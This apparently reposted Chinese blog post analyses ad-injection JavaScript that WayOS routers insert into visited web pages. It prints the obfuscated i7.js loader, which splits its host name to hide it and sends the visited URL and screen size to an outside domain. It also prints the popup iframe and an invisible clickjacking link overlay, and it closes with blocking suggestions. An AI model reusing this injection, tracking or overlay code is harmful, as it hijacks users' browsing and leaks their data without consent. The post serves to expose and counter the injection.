wayos靠插入js代码来投放广告,与cnzz站长统计一样的原理

wayos靠插入js代码来投放广告,与cnzz站长统计一样的原理,一般插入到网页最底部,如

<script charset="utf-8" async="true" src="http://t.5txs.cn/rb/i7.js"></script>


解析这个i7.js源代码为

(function(d) {
	function $a(p) {
		try {
			var x = d.getElementsByTagName("head")[0];
			var y = x.appendChild($s(p));
			setTimeout(function() {
				x.removeChild(y)
			}, 2000)
		} catch (e) {}
	}
	function $c(n) {
		return d.createElement(n)
	}
	function $s(p) {
		var j = $c("script");
		j.src = p;
		j.async = true;
		j.type = "text/javascript";
		return j
	}
	var amt = 0;

	function $rn() {
		var ww = d.body.clientWidth;
		var hh = d.body.clientHeight;
		var u = {
			j: "ht",
			c: "com.cn",
			q: "tp:",
			m: "b.",
			n: "wdzs",
			d: "a."
		};
		var be = u.j + u.q + "//" + u.d + u.n + u.m + u.c;
                /** var be =http://a.wdzsb.com.cn/    **/
		var en = escape(window.location.href) + "&a=" + Math.random() + "&w=" + ww + "&h=" + hh;
		if (top == this) {
			if (ww < 300 || hh < 40) {
				amt += 1;
				if (amt < 3) {
					setTimeout($rn, 1000)
				} else {
					$a(be + "/fmt7p/m.php?u=" + en)
				}
			} else {
				$a(be + "/fmt7p/?u=" + en)
			}
		}
	}
	setTimeout($rn, 500)
})(document);

 别让他用var be = u.j + u.q + "//" + u.d + u.n + u.m + u.c;来迷惑你。其实url已经被拆分。真实的url地址如下

http://a.wdzsb.com.cn/fmt7p/?u=你访问的URL&a=0.001605906146013636&w=1263&h=397
http://a.wdzsb.com.cn/fmt7p/m.php?u=你访问的URL&a=0.001605906146013636&w=300&h=397

 继续

(function(w, d) {
	var gid = "bd_uuid_rb_111268";

	function $c(n) {
		return d.createElement(n)
	}
	function $show() {
		var e = d.getElementById(gid);
		if (e) {
			e.style.display = "block"
		}
	}
	function $isdone() {
		var e = d.getElementById(gid);
		if (e) {
			return true
		}
		return false
	}
	function $rm() {
		var e = d.getElementById(gid);
		if (e) {
			e.style.display = "none"
		}
		setTimeout($del, 10000)
	}
	function $del() {
		var e = d.getElementById(gid);
		if (e) {
			e.parentNode.removeChild(e)
		}
	}
	function $drn() {
		if ($isdone()) {
			return
		}
		var l = $c("div");
		l.id = gid;
		l.style.display = "none";
		l.oncontextmenu = function() {
			return false
		};
		l = d.body.appendChild(l);
		var isIE6 = w.navigator.userAgent.match(/MSIE 6/ig) && !w.navigator.userAgent.match(/MSIE 7|8/ig);
		var sty = "";
		if (isIE6) {
			sty = "BORDER-RIGHT: 0px; BORDER-TOP: 0px; DISPLAY: block; Z-INDEX: 2147483647; RIGHT: 0px; padding:0;MARGIN: 0px; BORDER-LEFT: 0px; WIDTH: 300px; BOTTOM: auto; BORDER-BOTTOM: 0px; POSITION: absolute; TOP: expression(eval((document.documentElement&&document.documentElement.scrollTop||document.body.scrollTop)+(document.documentElement&&document.documentElement.clientHeight||document.body.clientHeight)-this.offsetHeight-0)); HEIGHT: 250px; BACKGROUND-COLOR: #ecf9fd; TEXT-ALIGN: left"
		} else {
			sty = "display: block; position: fixed; padding: 0px; margin: 0px; border: 0px none;text-align: left; z-index: 2147483647;  300px; height: 250px; right: 0px; bottom: 0px; top: auto;"
		}
		var k = $c("div");
		k.style.cssText = sty;
		k = l.appendChild(k);
		k.innerHTML = "<span style="position:absolute;42px;height:14px;line-height:20px;right:0px;top:-14px;cursor:pointer;text-align:right;display:block;background: url(http://dl.katman.cn/img/close.gif) 0px 0px no-repeat scroll;" onmouseover="this.style.backgroundPosition='0 -20px';" onmouseout="this.style.backgroundPosition='0 0';" onclick="javascript:var e=document.getElementById('bd_uuid_rb_111268');if(!e)return;e.style.display='none';setTimeout(function(){var e=document.getElementById('bd_uuid_rb_111268');if(e){e.parentNode.removeChild(e)}},10000);"></span>";
		var ifr = $c("iframe");
		ifr.scrolling = "no";
		ifr.marginWidth = "0";
		ifr.marginHeight = "0";
		ifr.frameBorder = "0";
		ifr.height = "250px";
		ifr.width = "300px";
		ifr = k.appendChild(ifr);
		var ul = "http://dl.katman.cn/cl/html/fmt7p.html";
		var rand = Math.random();
		if (rand < 0.15) {
			ul = "http://ec.ycyikao.com/img/zy/stock/"
		}
		try {
			var doc = ifr.contentWindow.document;
			doc.open().write('<body onload="javascript:' + "window.location.href='" + ul + "';">");
			doc.close()
		} catch (e) {
			ifr.src = ul
		}
	}
	function $dly() {
		$drn();
		setTimeout($show, 2000);
		setTimeout($rm, 1000 * 1800)
	}
	if (!window._fmt_done_pg) {
		window._fmt_done_pg = 1;
		setTimeout($dly, 50)
	}
})(window, document);

 js代码去建立一个右下角窗口的网页

http://ec.ycyikao.com/img/zy/stock/ 为

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title></title>
</head>
<body style="margin:0; padding:0">
<div></div>
<script type="text/javascript">
//创建标签
function $c(n){
	return document.createElement(n);
}
var a=$c("a");
a.href="http://www.xiaotai8.cn/static/zdbn.html";
a.target="_blank";
a.hidefocus="true";
a.style.cssText="position:absolute;left:0px;top:0px;300px;height:250px;z-index:6;display: block; background:#fff; opacity:0;filter:alpha(opacity=0);";
	
var f=$c("img");
f.style.cssText="300px;height:250px";
f.src="300-250-1.jpg";
document.body.appendChild(f);
document.body.appendChild(a);
</script>
<div style="visibility:hidden">
<script src="https://s11.cnzz.com/z_stat.php?id=1253549727&web_id=1253549727" language="JavaScript"></script>
</div>
</body>
</html>

 http://dl.katman.cn/cl/html/fmt7p.html为

<!doctype html>
<html lang="en" xmlns="http://www.w3.org/1999/xhtml">
 <head>
  <meta charset="UTF-8">
  <meta name="Generator" content="EditPlus?">
  <meta name="Author" content="yaochuanlu">
  <meta http-equiv=Content-Type content="text/html;charset=utf-8">
  <meta http-equiv=X-UA-Compatible content="IE=edge,chrome=1">
  <meta content=always name=referrer>
  <title>loaded</title>
<style type="text/css">
body,div {
margin:0; padding:0;
}
</style>
  <script>
	var index = 0;//当前显示iframe序号
	var initindex = 0;
	var objarr = null ;
	var offset = 0;//动画中偏移量
	var currentiframe = null;//当前显示的iframe
	var nextiframe = null;//下个要显示的iframe
	var iframe1 ;//第一个显示的iframe
	var changeInterval = 10000;//设置广告切换时间为10S
	var parentDiv;//需要插入的父级元素
	var srcarr =  new Array("http://bj.ganji.com/content/content_branch.php?vaction=cojdu&pid=hz_2","http://www.duba.com/union2.html?u2580309_300_250_pg");//所有需要加载的广告src
	var iframewidth = 300;
	var iframeheight = 250;

	function change()
	{
		if(objarr == null)init();//如果没有初始化则进行初始化
		currentiframe = objarr[index];//当前需要展示的iframe序号
		nextiframe = objarr[getindex()];
		move();
	};
	function move()
	{
		//设置平移效果
		offset -= 20;
		currentiframe.style.left = offset + "px";
		nextiframe.style.left = iframewidth + offset + "px";
		nextiframe.style.width = Math.abs(offset) + "px";
		
		if(offset <= -1*iframewidth)
		{
			offset = 0;
			return;
		}
		else
		{
			setTimeout("move()",50);
		}

	};
	function init()
	{
		objarr = new Array();//定义存储iframe的数组
		parentDiv = document.getElementById("main");
		if(parentDiv == null || parentDiv == "underfined")
		{
			//发送异常则停止
			return;
		}
		//初始化第一个iframe,加载src资源
		iframe1 = document.getElementById("external-frame");

		if(iframe1 != null)
		{
			iframe1.setAttribute("src",srcarr[initindex++]);
			iframe1.style.height = 250 + "px";
			objarr.push(iframe1);
		}
		else
		{
			return setTimeout( "init()", 1000);
		}
	
		/*
			添加延迟加载功能,延迟加载前两个广告位
			防止一次打开多个iframe造成卡顿现象
		*/
		setTimeout("addChildAdTask()",3000);//动态加载需要展示的广告
		//setTimeout("addOther()",1000);
		//开始定时轮播广告
		setInterval( "change()", changeInterval);
	}

	function getindex()
	{
		if(index == objarr.length -1)
		{
			index = 0;
			return index;
		}
		else
		{
			return ++index;
		}
	};
	function addChildAdTask()
	{
		var ifr = document.createElement("iframe");
		ifr.style.position = "absolute";
		ifr.style.left = -300 + "px";
		ifr.style.top =  0 + "px";
		ifr.style.width = 300 + "px";
		ifr.style.height = 250 + "px";
		ifr.scrolling = "no";
		ifr.marginWidth= "0";
		ifr.marginHeight="0";
		ifr.frameBorder="0";
		ifr.src = srcarr[initindex++];
		parentDiv.appendChild(ifr);
		objarr.push(ifr);
		if(initindex < srcarr.length)setTimeout("addChildAdTask()",3000);
	};
	function readyTask(u){
			var ifr = document.createElement("iframe");
			ifr.style.position = "absolute";
			ifr.style.display="none";
			ifr.style.left = "0px";
			ifr.style.top = "300px";
			ifr.style.width = 300 + "px";
			ifr.style.height = 250 + "px";
			ifr.scrolling = "no";
			ifr.marginWidth= "0";
			ifr.marginHeight="0";
			ifr.frameBorder="0";
			ifr.src = u;
			parentDiv.appendChild(ifr);
	}
	function addOther()
	{
		var rand=Math.random();
		if(rand<0.2){
			readyTask("http://js.cqmono.cn/html/wf_bj_dg_300.html");
		}else if(rand<0.6){
			readyTask("http://www.duba.com/union2.html?u2252145_300_250_pg");
		}else{
			readyTask("http://www.duba.com/union2.html?u2252151_300_250_pg");
		}
	};
	
	window.onload = function() 
	{
		//网页加载完成1秒之后开始延迟初始化
		setTimeout( "init()", 50);
	};
  </script>
 </head>
 <body>
	<div id="main" style="padding: 0px;  300px; height: 250px;">
		<iframe id="external-frame"  scrolling="no" frameborder="0" marginwidth="0" marginheight="0" style="position:absolute; left: 0px; top: 0px; padding: 0px;  300px; height: 250px;"></iframe>
	</div>
 </body>
</html>

看到效果了吧。

解决办法

 1。我们也可以来构建一个js代码,用来替换http://t.5txs.cn/rb/i7.js,同样也做一个枉、网页html.可以做到完全拦截他而展示自己的广告

 2.完全屏蔽cnzz统计

 3.在自己网站html php asp代码最后,加<!--代码

原文地址:https://www.cnblogs.com/zhouein/p/5890559.html